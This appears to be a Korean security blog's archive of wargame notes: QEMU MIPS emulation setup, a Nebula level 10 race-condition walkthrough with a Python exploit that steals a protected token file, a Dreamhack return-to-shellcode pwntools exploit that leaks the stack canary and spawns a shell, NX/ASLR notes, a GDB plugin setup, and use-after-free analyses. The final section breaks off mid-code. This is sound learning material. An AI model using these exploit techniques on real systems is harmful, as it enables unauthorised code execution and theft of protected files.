https://liveyourit.tistory.com/83

 

QEMU, 펌웨어를 이용한 가상 공유기 환경 구축 (MIPS)

QEMU 에뮬레이터와 QEMU에 가상으로 실행시키고 싶은 공유기 펌웨어를 사용해 가상 공유기 환경을 구축하고 실행시켜보려고 한다. 구축 환경은 우분투 x64이고 펌웨어는 제조사 웹사이트에 공개된

liveyourit.tistory.com


바이너리 파일 다운로드 경로)
https://people.debian.org/~aurel32/qemu/

 

Index of /~aurel32/qemu

 

people.debian.org


- 환경 : Ubuntu x64 (ubuntu-22.04-beta-desktop-amd64
- Firmware : 제오사 웹사이트 내 공개된 구버전 펌웨어
- 파일시스템 : Mips

사용된 명령어
apt-get install qemu
apt-get install qemu-system-mips64
apt-get install wget
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-5kc-malta


QEMU 구동 확인 및 로그인 

 

 

qemu-system-mips64 -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"

root / root

3) (host) qemu 실행

이제 qemu를 실행시킬 준비는 다 되었다. 실행시킬 명령어의 인자가 꽤 복잡한데 하나씩 나누어 보면 이해하기 쉽다.

qemu-system-mips \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \

다운로드한 커널과 이미지를 통해 가장 기본적인 옵션만 설정하고 qemu를 실행할 수 있지만, ssh 접속 등 동적 분석을 편리하게 하기 위해 몇 가지 옵션을 다음과 같이 추가하자.

qemu-system-mips \
-m 256 \
-M malta -kernel vmlinux-3.2.0-4-5kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net user,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:5555-:1234 \
-net nic,model=e1000
qemu-system-mips -m 256 -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net user,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:5555-:1234 -net nic,model=e1000


- m : 램(RAM) 크기를 설정하는 부분이다. (32-bit MIPS에서는 기본 128m, 최대 256m 인식)
- net : 포트 포워딩을 설정하는 부분이다. ip는 로컬 호스트로 설정하고 포트의 경우 2222 -> 22 (ssh)로, 5555 -> 1234 (gdbserver)로 설정해준다. (이전의 -redir 옵션은 deprecated 됐다고 한다. 위와 같은 형태로 옵션을 주자)

성공적으로 실행이 되었으면 root/root 혹은 user/user로 로그인이 가능하다.

(guest) gdbserver, gdb 설치

apt-get update를 해도 패키지를 잘 못 찾아오는 것을 확인할 수 있다. /etc/apt/sources.list의 모든 내용을 주석처리하고 다음 라인을 추가해주자.
deb http://archive.debian.org/debian/ wheezy main contrib non-free
이후에 apt-get install gdbserver gdb로 gdbserver와 gdb를 설치해주자.

 

(guest) gdbserver 실행

scp로 호스트에서 게스트로 babymips 파일을 복사 후, gdbserver를 실행시켜주자.

scp -P 2222 babymips(분석할 파일명) root@127.0.0.1:/root

gdbserver localhost:1234 ./babymips(분석할 파일명)

(host) gdb-multiarch 실행

호스트에서 gdb-multiarch를 실행해준 후, target remote localhost:5555 명령어를 통해 게스트에서 실행되고 있는 gdbserver에 접속한다.


환경구축 완료



 

블로그 이미지

wtdsoul

,

https://velog.io/@woounnan/PWNABLE-Nebula-Level-10

 

PWNABLE] Nebula Level 10

실행파일 인자로 파일, ip를 입력받고파일의 내용을 해당 ip의 18211 포트로 전송한다.level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하

velog.io

https://exploit.education/nebula/level-10/
아직 소스코드가 있었네 

flag10.cpp

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

🎪Race Condition Attack

경쟁 조건 공격을 생각해볼 수 있다.

/tmp/level10/test라는 임의의 파일을 전송한다고 가정할 때, access()가 통과된 뒤에 test 파일을 삭제하고 token에 대한 심볼릭 링크를 test로 다시 생성한다면?

token의 내용을 대상 ip에게 전송할 것이다.

🧺Proof

먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.

netcat -l 18211 -k

다른 쉘에서는 옳은 권한의 파일 test를 생성한 뒤 flag10을 실행하여 access가 통과하도록 만든다.

while :; 
do 
	rm /tmp/level10/test; 
	echo 'this is test flag' > /tmp/level10/test; 
	./flag10 /tmp/level10/test 127.0.0.1;
done

또 하나의 쉘을 열고, 기존의 옳은 권한의 test를 삭제하고 token에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.

while :; 
do 
	rm /tmp/level10/test; 
	ln -s /home/flag10/token /tmp/level10/test; 
done

 

https://einai.tistory.com/entry/Nebula-Level09-Level10

 

[문제풀이] Nebula, Level09, Level10

※ LEVEL 09 Q. There’s a C setuid wrapper for some vulnerable PHP code… 1234567891011121314151617181920212223242526Colored by Color Scriptercs A. 여기는 /e modifier의 기능으로 발생되는 취약점이다. e(PCRE_REPLACE_EVAL) modifier 이 변

einai.tistory.com

본 워게임은 token 파일의 내용을 얻어야 하는데 보시다시피 읽기 권한이 없는 것을 알 수 있다. 따라서 조금 전에 말한 바와 같이 우리는 두 함수가 실행되는 그 차이를 이용해서 token 파일을 읽어올 것이다. 

간단히 순서는 
1. fake_token 파일 생성
2. fake_token 파일과 token 파일을 링크할 링크 파일 생성
3. 포트 오픈 
4. flag10 실행 파일의 인자로 2번에서 생성한 링크 파일을 제공 

https://flack3r.tistory.com/entry/exploit-exercisenebula-level10

 

[exploit exercise]nebula level10

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다. import os import socket import subprocess import threading import time import signal def read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print

flack3r.tistory.com

 

import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			

def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")


def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()



if __name__ == '__main__':
	main()

블로그 이미지

wtdsoul

,

https://3omh4.tistory.com/entry/systemhacking-Exploit-tech-Return-to-Shellcode#%EB%AC%B-%EC%A-%-C%--%ED%-C%-C%EC%--%--

https://learn.dreamhack.io/64#2

 

로그인 | Dreamhack

 

dreamhack.io

몰랐는데 문제풀이 전에 설명이 있는 형태였구나... 잘 만들어져 있네

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
 
#include <stdio.h>
#include <unistd.h>
 
int main() {
  char buf[0x50];
  
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
         
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  
  return 0;
}

다음 분석 내용을 보기 전 어떤 취약점이 있을지 찾아본다. 우선 buf의 크기는 0x50으로 설정되어 있다. 하지만 read(0, buf, 0x100)을 보면 buf 부분에 0x50보다 큰 0x100을 입력할 수 있다. 따라서 버퍼오버플로우가 가능할 수 있을 것 같다. 또 gets 함수에서도 buf에 값을 입력하는데 gets함수는 입력하는 문자열의 길이를 확인하지 않기 때문에 여기서도 버퍼오버플로우가 가능하다.

본 예제에서는 친절하게 buf의 주소와 buf와 rbp의 차이, 즉 buf에서 SFP까지의 거리를 알려준다.

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);

실제로 다운로드 받은 파일 및 C코드는 미세하게 내용이 다른 것을 확인 

 

취약점 탐색

1. buf의 주소

이 예제에서는 실습의 편의를 위해 buf 의 주소 및 rbp 와 buf 사이의 주소 차이를 알려줍니다.

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);
2. 스택 버퍼 오버플로우

코드를 살펴보면 스택 버퍼인 buf 에 총 두 번의 입력을 받습니다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있습니다.

char buf[0x50];

read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

이 취약점들을 이용해서 셸을 획득해야 합니다.
 

익스플로잇 시나리오🎬

1. 카나리 우회

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료됩니다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 합니다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것입니다.

카나리 릭🦜

스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야합니다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것입니다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해봅시다.

 

익스플로잇🎮

카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있습니다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있습니다. 전체 익스플로잇은 다음 장에서 소개합니다.

Return to Shellcode

 

p = process("./r2s")
 
p.recvuntil("buf:")
buf_addr = int(p.recvline()[:-1],16) # 2의 과정
slog("Address of buf", buf_addr)
 
p.recvuntil("$rbp:")
buf2sfp = int(p.recvline())			# 3의 과정 - buf부터 sfp까지의 거리
buf2cnry = buf2sfp - 0x8			# 3의 과정 - buf부터 카나리까지의 거리
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
 
payload = b"a" * (buf2cnry + 1)		# 4의 과정 - 카나리릭( +1은 카나리의 널바이트 덮기 위해서)
 
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
slog("Canary", canary)
 
sh = asm(shellcraft.sh())			# 5의 과정 - 쉘코드
payload = sh.ljust(buf2cnry, b"A") + p64(canary) + b"B"*0x8 + p64(buf_addr)
									# 5의 과정 - 페이로드 작성
p.sendlineafter("Input:", payload)	# 5의 과정 - 쉘획득
 
p.interactive()
from pwn import *
 
def slog(name, addr):
  return success(": ".join([name, hex(addr)]))
 
 
#context.log_level = 'debug'
context.arch = "amd64"
 
p = process("./r2s")
e = ELF("./r2s")
 
shellcode = asm(shellcraft.sh())
 
 
# Get buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
 
 
# Canary Leak
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
 
slog("buf", buf)
slog("canary", canary)
 
 
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
 
p.sendlineafter("Input: ", payload)
 
p.interactive()
블로그 이미지

wtdsoul

,

https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR

 

[System][Dreamhack] 메모리 보호기법 Mitigation: NX & ASLR

지난 글(Return to shellcode)를 보면 쉘을 딸 수 있었던 이유는 다음과 같다. return addr을 임의의 주소로 덮기 가능 → canary 도입 ⇒ canary leak 으로 우회 버퍼의 주소 알아내기 가능 버퍼안의 쉘코드 실

3omh4.tistory.com

요약

  1. return addr을 임의의 주소로 덮기 가능 → canary 도입 ⇒ canary leak 으로 우회 가능
  2. 버퍼의 주소 알아내기 가능 → ASLR 도입
  3. 버퍼안의 쉘코드 실행 가능 → NX-bit 도입

ASLR ( Address Space Layout Randomization)

바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호기법이다. ASLR이 꺼져있으면 다음과 같이 매 실행마다 buf의 주소가 같다.

 

ASLR on/off 확인

$ cat /proc/sys/kernel/randomize_va_space
2

cat /proc/sys/kernel/randomize_va_space 명령어를 입력했을 때 0, 1, 2의 값이 출력될 수 있다. 값에 따라 적용되는 영역은 다음과 같다.

  • 0 : No ASLR = ASLR을 적용하지 않음
  • 1 : Conservative Randomization = 스택, 힙, 라이브러리, vdso 등에 ASLR 적용
  • 2 : Conservative Randomization + brk = 스택, 힙, 라이브러리, vdso 등의 영역 + brk로 할당한 영역

ASLR 단계에 따른 주소 확인

단계에 따라 스택, 힙, 라이브러리, 라이브러리 매핑 주소, 코드 영역의 주소가 랜덤한지 아닌지 확인해보자. 예제코드는 아래와 같다.

// Compile: gcc addr.c -o addr -ldl -no-pie -fno-PIE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
  char buf_stack[0x10]; // 스택 버퍼
  char *buf_heap = (char *)malloc(0x10);  // 힙 버퍼
 
  printf("buf_stack addr: %p\n", buf_stack);
  printf("buf_heap addr: %p\n", buf_heap);
  printf("libc_base addr: %p\n", *(void **)dlopen("libc.so.6", RTLD_LAZY)); // 라이브러리 주소
  printf("printf addr: %p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "printf")); // 라이브러리 함수의 주소
  printf("main addr: %p\n", main); // 코드 영역의 함수 주소
}

 

매 실행마다 buf의 주소, 라이브러리 주소, 라이브러리 매핑 주소가 달라진다. 이때 힙영역의 주소는 동일한데 이는 malloc이 호출될 때 상황에 따라 아래와 같이 분기하는데 brk로 syscall을 호출해 메모리를 확보했기 때문(brk영역은 ASLR값이 2일때 적용됨)으로 보인다. 자세한 내용은 다음에.. 정리하겠다..

https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/

 

Syscalls used by malloc.

Having landed on this page, you should know malloc uses syscalls to obtain memory from the OS. As shown in the below picture malloc invokes either brk or mmap syscall to obtain memory. brk: brk obt…

sploitfun.wordpress.com

 

스택 영역의 buf_stack, 힙 영역의 buf_heap, 라이브러리 함수의 printf, 코드 영역의 함수 main, 라이브러리 매핑 주소의 libc_base를 보면 특징이 있다.

  • 코드 영역(main)을 제외한 다른 영역의 주소는 매번 바뀐다.
    • 변수나 함수, 라이브러리의 주소는 매번 바뀌기 때문에 바이너리를 실행하기 전에 해당 영역들의 주소를 예측할 수 없다.
  • libc_base, printf의 하위 12비트(비트임 바이트 아님)값은 변경되지 않는다
    • 리눅스는 파일을 페이지(page) 단위로 임의 주소로 mapping
    • 페이지 크기인 12비트이하의 주소는 바뀌지 않는다.
      • 페이지는 일반적으로 4KB로 4KB = 2^12이므로 하위 12비트는 바뀌지 않는 것이다.
  • libc_base와 printf의 주소 차이는 항상 동일
    • 라이브러리의 시작주소부터 다른 심볼들까지의 거리(offset)은 항상 동일
    • libc_base + printf offset(0x64f00) = printf addr

NX - No eXecute

코드 실행 가능한 메모리 영역과 쓰기 가능한 메모리 영역을 분리하는 보호기법이다. 코드 영역에 쓰기 권한이 있으면 코드를 수정해 원하는 코드를 실행할 수 있고, 스택이나 데이터 영역에 실행 권한이 있으면 입력으로 쉘코드를 주입해 쉘을 딸 수 있다.

NX bit는 컴파일러 옵션(-zexecstack : 스택에 실행권한 부여)을 통해 바이너리에 적용할 수 있고, NX bit가 적용된 바이너리는 각 메모리 영역에 필요한 권한만 부여받을 수 있다. gdb의 vmmap으로 NX bit 적용 전 후 메모리 맵을 비교하면, NX bit 적용된 바이너리는 코드영역 외에 실행권한이 없는 것을 알 수 있다. NX bit 적용되지 않은 바이너리는 스택, 힙, 데이터 영역에도 실행 권한이 존재한다.

 

 

'시스템' 카테고리의 다른 글

Nebula Level 10 (Race Condition)  (0) 2025.02.03
Exploit tech : Return to Shellcode (펌)  (0) 2025.02.02
onone_gadget 설치 및 사용법 (펌)  (0) 2025.02.02
peda, pwndbg, gef 같이 쓰기 (펌)  (0) 2025.02.02
Dreamhack UAF (진행 중)  (0) 2025.01.31
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8

 

Pwndbg + GEF + Peda — One for all, and all for one

Install all plugins at the same time and switch with a simple command.

infosecwriteups.com

There is no doubt, GDB is an amazing tool that almost every single cyber security professional, trainee, hobbyist and researcher has used it before. It is the swiss army knife of process debugging however there is one problem. Vanilla GDB sucks in terms of user experience.

This is the reason behind the development of many plug-ins that can make the process of reversing and debugging so much easier. Namely, three of the most popular are:

Pwndbg: https://github.com/pwndbg/pwndbg

Peda: https://github.com/longld/peda

GEF: https://github.com/hugsy/gef

Of course, all of them come with their pros and cons. Maybe for the task, maybe the features, or even the interface. We all have our preferences. Personally, I prefer Pwndbg’s interface more, but seriously Peda’s cyclic pattern creation and offset search functionality are extremely handy.

Still, I hate having to manually change or replace the .gdbinit file every time I want to use a different plugin. It’s not about the time and effort, but more because it’s a distraction from my primary task, that I would like to avoid.

Therefore, the purpose of this blog post is to describe a very simple way of switching between plugins in a single command.

TL;DR;

I have created a bash script that executes the instructions below in one command so for a rapid setup clone the repository below and run install.sh .

Installation

Initially, the plugins need to be downloaded and set up. As such follow the commands below:

Pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
cd ..
mv pwndbg ~/pwndbg-src
echo "source ~/pwndbg-src/gdbinit.py" > ~/.gdbinit_pwndbg

Peda

git clone https://github.com/longld/peda.git ~/peda

GEF

wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

Combining all in One

Inherently, these plugins modify the .gdbinit file and are launched along with gdb. Now, here is the trick, what if we had a .gdbinit file that contains configurations for all plugins so that they are conditionally activated based on the gdb command? This is exactly what we will be doing.

Open your .gdbinit file, delete any contents and paste the following configuration:

define init-peda
source ~/peda/peda.py
end
document init-peda
Initializes the PEDA (Python Exploit Development Assistant for GDB) framework
end

define init-pwndbg
source ~/.gdbinit_pwndbg
end
document init-pwndbg
Initializes PwnDBG
end

define init-gef
source ~/.gdbinit-gef.py
end
document init-gef
Initializes GEF (GDB Enhanced Features)
end

Additionally, create the following 3 files in your /usr/bin folder:

First create /usr/bin/gdb-peda and paste the following:

#!/bin/sh
exec gdb -q -ex init-peda "$@"

Then /usr/bin/gdb-pwndbg

#!/bin/sh
exec gdb -q -ex init-pwndbg "$@"

And lastly, /usr/bin/gdb-gef

#!/bin/sh
exec gdb -q -ex init-gef "$@"

The last step is to give executable permissions to all three of the files created previously. For that, run:

chmod +x /usr/bin/gdb-*

That was all! You see? Simple.

Now you can test it by running either one of the three commands:

gdb-peda
gdb-pwndbg
gdb-gef

Hope this helps folks. Till next time.

'시스템' 카테고리의 다른 글

메모리 보호기법 Mitigation: NX & ASLR (펌)  (0) 2025.02.02
onone_gadget 설치 및 사용법 (펌)  (0) 2025.02.02
Dreamhack UAF (진행 중)  (0) 2025.01.31
pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
블로그 이미지

wtdsoul

,

우분투에 도커 등 설치 완료 후 UAF 고고~ 

https://velog.io/@leejiwon317/Dreamhack-Exercise-Docker-1nnyeqrt

 

Dreamhack - Exercise: Docker

Install Docker Engine on Ubuntu🔼위 링크를 참고하여 설치하였습니다.이렇게 뜨면 도커 설치 성공!이번 문제는 Dockerfile로 이미지를 빌드하고 컨테이너를 실행해 보기 위한 실습 문제!!!문제 파일을 다

velog.io

https://she11.tistory.com/153

 

[Dreamhack] uaf_overwrite - write up

Index문제보호기법 확인uaf_overwrite.c코드 분석전역 변수 선언human_func()robot_func()custom_func()문제 풀이Libc LeakLocal Exploit Issue 익스플로잇 uaf_overwriteDescription Exploit Tech: Use After Free에서 실습하는 문제입

she11.tistory.com

 

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

전역 변수 

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

두 구조체의 자료형을 보면 동일한 메모리 크기를 사용하는 것을 알 수 있다.

UAF(Use After Free 문제인 만큼 Human→age에 주소 값을 입력하고 해제하고 Robot 구조체로 재 할당하면, 재 할당 받은 Robot→fptr로 원하는 코드 흐름을 실행시킬 수 있을 것 같다. 또한, 주소를 담고 있는 custom 배열과 이를 참조하는 c_idx가 선언된다.

human_func()

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}

robot_func()

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

Robot(2번) 메뉴를 선택하면 robot_function함수가 실행된다. Robot 구조체 1개를 동적할당 하고, weight를 입력받아 데이터를 저장한다. fptr에 대한 입력은 없지만, robot→fptr의 값이 NULL이 아니라면 fptr의 주소로 점프한다.

위의 두개의 함수를 통해 Human→age에 원하는 주소를 입력해두고, robot_func()을 실행하면 robot→fptr에 앞서 저장해준 Human→age값으로 robot→fptr()이 실행된다. 그렇다면 Human→age에 원샷 가젯의 주소를 넣으면 셸을 얻을 수 있을 것이다. 하지만 우리는 libc를 모르기 때문에, 메모리 릭을 통해 libc를 먼저 구해야 한다.

custom_func()

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

마지막으로 Custom(3번) 메뉴를 선택하면 custom_func함수가 실행된다. 먼저 첫 if문의 c_idx는 앞서 선언했던 전역변수이다. 이 함수가 실행될 때마다 마지막에 c_idx++를 해주므로, 총 10번을 실행할 수 있다.

입력받은 size가 0x100보다 크다면 custom[c_idx]에 size만큼의 동적할당을 해주고, 데이터를 입력받는다.

char *custom[10];
printf("Data: %s\n", custom[c_idx]);

데이터를 입력받은 후, custom[c_idx]에 값을 출력해준다. 이 Data 부분에는 Unsorted bin을 free 했을 때 남아있던 fd 값이 출력된다. unsorted bin에 들어간 청크의 fd와 bk은 main 의 주소이고, 이 오프셋을 통해서 libc를 구할 수 있다.


unsigned int idx;
...
if (idx < 10 && custom[idx]){
	free(custom[idx]);
  custom[idx] = NULL;
}
...

idx가 unsigned int자료형으로 선언되었다. 만약 idx에 -1(음수)를 입력하게 되면 0xffffffff와 같은 형식으로 메모리에 입력된다. 그러면 할당된 메모리를 free하지 않는다.





 

 

 

 

 

'시스템' 카테고리의 다른 글

onone_gadget 설치 및 사용법 (펌)  (0) 2025.02.02
peda, pwndbg, gef 같이 쓰기 (펌)  (0) 2025.02.02
pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
protostar net1  (0) 2025.01.31
블로그 이미지

wtdsoul

,

https://power-girl0-0.tistory.com/565

 

[pwnable] uaf 풀이

1. 문제 문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다. uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다. 2. 풀기 전, 알고 가기 ① 힙영역이란? -

power-girl0-0.tistory.com

해당 풀이를 참고하여 리마인드차 UAF 문제를 풀어보고자 하였는데 이용이 불가하네
일단 개념만 다시보고 드림핵 문제를 풀어봐야겠다.

나중에 다시 접근을 해봐야겠다..

 

① 힙영역이란?

- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.

- 필요에 의해, 메모리를 할당하고 해제한다.

② heap overflow란?

- 할당된 메모리보다 많은 값을 넣어서, 다른 메모리 주소 값까지 침범하여 발생한다.

- 만약, 함수 포인터가 존재하는 부분까지 침범해서 조작한다면, 프로그램의 실행 흐름을 바꿀 수 있는 문제가 발생한다.

③ UAF(Use After Free)

- 힙 영역에서 메모리 해제 후, 해제한 메모리 영역을 재사용할 때 발생하는 취약점이다.

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
